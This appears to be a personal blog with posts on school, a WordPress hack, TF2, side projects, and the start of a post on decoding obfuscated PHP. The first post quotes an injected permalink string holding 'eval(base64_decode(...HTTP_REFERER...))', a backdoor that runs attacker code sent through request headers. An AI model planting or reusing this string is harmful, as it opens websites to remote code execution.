Moving On and On

So pretty much two semesters of school have passed since I’ve last decided to update this.
I suppose I haven’t really had anything “news-worthy” to relay, but laziness has probably more to do with it than anything else.

Firstly, on a random note … I realized that my install of WordPress became way outdated and had become subject to an exploit because I neglected to update it. Luckily all that entailed was the permalink structures getting borked … basically my old link structure was “%title%-%post_id%” … but when I checked the other day, it was “/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
” which severely messed up any post link. Not really sure what an attacker would gain from this, but nothing else seemed to have been changed/messed with so I guess it doesn’t matter :-/.

On a sad note, my MacBook Pro has a line of dead pixels :’(. I suppose it could be worse, but it’s now nearly 2.5 years old so there’s not so much I can do about it but hope it doesn’t get much worse. Unless some huge advancements come out in laptops or my needs change anytime soon, I don’t expect I’ll be upgrading until this laptop bites the dust for good.

I turned 22 a little of a month ago. Really doesn’t feel any different from 21, although I suppose I wasn’t really expecting it to. Didn’t really do anything for my birthday. Didn’t get anything or really go anywhere. Could have been better, could have been a lot worse (like my 18th birthday).

Christmas was boring. My family doesn’t really do presents anymore. After my mom died, to most of us, it’s really just another day … as sad as that may seem. Not really sure what I’m doing for New Years, if anything, but it should be interesting regardless .

Recently I did some work on an irc bot that would facilitate “Pick-up Games” for TF2. It’s not finished, by any means, but it’s functional for one of it’s intended modes. It’s really quite basic and was only really a day or so’s work.

Also, I finally decided to publish the work-in-progress theme for TheSpiffyLife in hopes of Guy finally decided to help me finish it with some extra/replacement images . The theme is much simpler (coding wise). Some may not appreciate the “grey-ness” of it, but I think it still flows nicely. It’s also packed with some nifty javascript for the search functions, navigating the comics (next, back, first, last, etc), as well as leaving comments. It’s not all 100%, but if something does fail it should still resort to the regular page instead of the javascript functions.

Anywho, that’s all for now.
-Josh

Blarg

I’ve really managed to stay busy in the past few weeks. Homework takes most of my time and if it’s not that, it’s studying for a series of tests. I can’t wait until Spring Break. I don’t really have any “exciting” plans lined up, besides being lazy for 9 days .

TheSpiffyLIfe seems to have gone on a hiatus; Guy’s obviously quite busy himself. I had a new design layout lined up but got bored with tweaking it. Plus I’m waiting for Guy to make a spiffy new header image.

I’m interested in playing around with FastCGI using C. I have no real purpose where the added speed would be necessary, but I think it would be cool to be able to utilize it if necessary.
I’d like to learn some more Objective-C, but the syntax is a tad foreign to me (some call it “intuitive” … lol?).

If I get bored enough over the next couple of weeks, I’ll release a SCMS version where people can make their own comic site with news without the need of WordPress.

On even more random news, I’ve been playing a lot of Team Fortress 2 lately. It’s REALLY addictive, and boy do I love shooting people (lol). I’ve played wayyyy too much, but it’s all good .

PS. Skittles.

Officially a Junior

So classes for the spring semester start tomorrow. I think our semester starts later than anyone that I know of. I’m pretty sure Vanderbilt and UT started last week (which is funny, because our fall semester ended before theirs too ).

As far as hours go, I’m officially a Junior (like I should have been last semester, but I’m still playing awkward catch up). After this semester classes will be hard to sign up for because I’m in between where predefined (suggested?) schedule, meaning most of the classes have prerequisites that will prove to be annoying. I don’t think I’ll be able to take any summer classes either, because most upper-division courses are kind of low attendance, so they won’t even offer them during the summer (yay job?).

One nice thing about starting back tomorrow is that we go for two days, then get a three day weekend. I appreciate whomever planned that one out

On PHP “Encryptions”

Alright, so I’ve gotten (relatively) a lot of attention for my post(s) (mainly this one) about “decrypting” PHP scripts that are engulfed in various combinations of gzinflate();, str_rot13();, and base64_decode();.

This post is mostly an attempt to enlighten those that come upon it to what these functions are and do, and probably more importantly, how to undo their secretive evil.
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